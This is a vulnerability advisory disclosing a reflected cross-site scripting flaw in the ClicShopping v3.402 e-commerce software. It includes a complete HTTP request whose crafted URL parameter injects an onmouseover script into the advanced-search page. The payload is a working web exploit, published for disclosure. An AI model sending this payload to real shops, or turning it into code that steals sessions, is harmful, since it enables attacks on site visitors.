ClicShopping v3.402 – Cross-Site Scripting (XSS)
## Title: ClicShopping v3.402 - Cross-Site Scripting (XSS) ## Author: nu11secur1ty ## Date: 11.20.2022 ## Vendor: https://www.clicshopping.org/forum/ ## Software: https://github.com/ClicShopping/ClicShopping_V3/releases/tag/version3_402 ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/clicshopping.org/2022/ClicShopping_V3 ## Description: The name of an arbitrarily supplied URL parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The attacker can trick users to open a very dangerous link or he can get sensitive information, also he can destroy some components of your system. ## STATUS: HIGH Vulnerability [+] Payload: ```js GET /ClicShopping_V3-version3_402/index.php?Search&AdvancedSearch&bel9c%22onmouseover%3d%22alert(`Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole`)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22zgm9j=1 HTTP/1.1 Host: pwnedhost.com Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107" Sec-CH-UA-Platform: Windows Sec-CH-UA-Mobile: ?0 ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/clicshopping.org/2022/ClicShopping_V3) ## Proof and Exploit: [href]()https://streamable.com/rzpgsu ## Time spent `1:00` -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html and https://www.exploit-db.com/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> |